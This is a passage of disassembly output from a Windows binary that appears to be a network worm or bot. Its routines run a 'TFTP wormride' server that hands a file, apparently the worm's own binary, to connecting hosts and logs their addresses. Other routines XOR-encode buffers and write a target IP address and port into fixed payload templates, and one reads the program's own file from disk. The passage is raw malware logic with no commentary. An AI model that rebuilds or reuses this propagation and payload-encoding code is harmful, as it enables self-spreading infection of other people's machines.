		mov	[ebp+var_B5C], eax


loc_411FF5:				; CODE XREF: sub_411DC5+202j
					; sub_411DC5+20Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp+var_B64]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_B5C]
		push	eax
		push	0
		call	dword_41722C	; select
		test	eax, eax
		jle	loc_4123B8
		mov	[ebp+var_D84], 10h
		mov	al, byte_41DE00
		mov	[ebp+var_D70], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp+var_D6F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+var_108]
		call	dword_417258	; recvfrom
		mov	[ebp+var_B6C], eax
		cmp	[ebp+var_B6C], 0
		jz	short loc_412084
		cmp	[ebp+var_B6C], 0FFFFFFFFh
		jnz	short loc_412089


loc_412084:				; CODE XREF: sub_411DC5+2B4j
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_411DC5+2BDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, [ebp+var_19B]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D88], eax
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D8C], eax
		mov	eax, [ebp+var_D88]
		inc	eax
		inc	eax
		mov	[ebp+var_D88], eax
		mov	eax, [ebp+var_D8C]
		inc	eax
		inc	eax
		mov	[ebp+var_D8C], eax
		push	[ebp+var_D8C]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_D8C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_D8C], eax
		push	offset aOctet	; "octet"
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_D8C]
		push	offset aOctet	; "octet"
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	[ebp+var_108]
		call	dword_417250	; sendto
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------


loc_41213F:				; CODE XREF: sub_411DC5+354j
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		and	[ebp+var_D6E], 0
		mov	[ebp+var_D6D], 1
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D90], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D90]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto


loc_4121BB:				; CODE XREF: sub_411DC5+378j
		jmp	loc_4123B8
; ---------------------------------------------------------------------------


loc_4121C0:				; CODE XREF: sub_411DC5+2CDj
					; sub_411DC5+2DDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, [ebp+var_19B]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp+var_19A]
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_199]
		mov	[ebp+var_D98], al
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		movzx	eax, [ebp+var_D98]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp+var_DA0]
		add	al, 1
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		and	[ebp+var_D98], 0
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------


loc_412242:				; CODE XREF: sub_411DC5+44Cj
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		mov	al, [ebp+var_D98]
		add	al, 1
		mov	[ebp+var_D98], al
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al


loc_412268:				; CODE XREF: sub_411DC5+47Bj
		movzx	eax, [ebp+var_DA0]
		shl	eax, 8
		movzx	ecx, [ebp+var_D98]
		lea	eax, [eax+ecx-1]
		mov	[ebp+var_D9C], eax
		push	0
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		push	eax
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D94], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D94]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto
		cmp	[ebp+var_D94], 0
		jnz	loc_412394
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		cmp	eax, [ebp+var_4]
		jb	loc_412394
		mov	eax, [ebp+var_D7C]
		mov	[ebp+var_DA8], eax
		push	[ebp+var_DA8]
		push	offset dword_41EAE0
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA4], eax
		mov	eax, [ebp+var_DA4]
		cmp	eax, [ebp+var_DA8]
		jz	short loc_412394
		push	1
		push	offset dword_41EAE4
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_DAC], eax
		push	10h
		push	[ebp+var_D7C]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		push	eax
		mov	eax, [ebp+var_DAC]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset dword_41DA80
		call	sub_40D4AB
		add	esp, 14h


loc_412394:				; CODE XREF: sub_411DC5+52Dj
					; sub_411DC5+53Fj ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------


loc_412396:				; CODE XREF: sub_411DC5+404j
					; sub_411DC5+414j
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	[ebp+var_108]
		call	dword_417250	; sendto


loc_4123B8:				; CODE XREF: sub_411DC5+252j
					; sub_411DC5:loc_4121BBj ...
		mov	eax, [ebp+var_358]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------


loc_4123C6:				; CODE XREF: sub_411DC5+5FDj
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_4123CB:				; CODE XREF: sub_411DC5+5FFj
		push	[ebp+var_10C]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_4123F1:				; CODE XREF: sub_411DC5+53j
					; sub_411DC5+F8j ...
		pop	edi
		leave
		retn	4
sub_411DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------


loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------


loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------


loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------


loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------


loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------


loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------


loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax


loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	dword_417244	; inet_addr
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax


loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx


loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: sub_410649+8Bp
					; sub_410B52+41p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset loc_41C7C8
		push	[ebp+var_10]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------


loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_41CB98, eax


loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------


loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------


loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	byte_41CB95, al


loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------


loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------


loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------


loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0


loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset dword_418620
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------


loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------


loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	dword_41EAEC, 0
		jnz	loc_4128A0
		mov	dword_41EAEC, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------


loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax


loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	off_41DA40[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41DA40[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	dword_41EAF0, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------


loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------


loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	dword_41EAF0, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset dword_41EC10
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0


loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; sub_412D56+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------


loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	eax, [ebp+var_4]

locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; sub_412D56+3Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------


loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, dword_41CCCE[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------


loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------


loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown	; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset dword_41DA80
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: sub_41331E+148p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
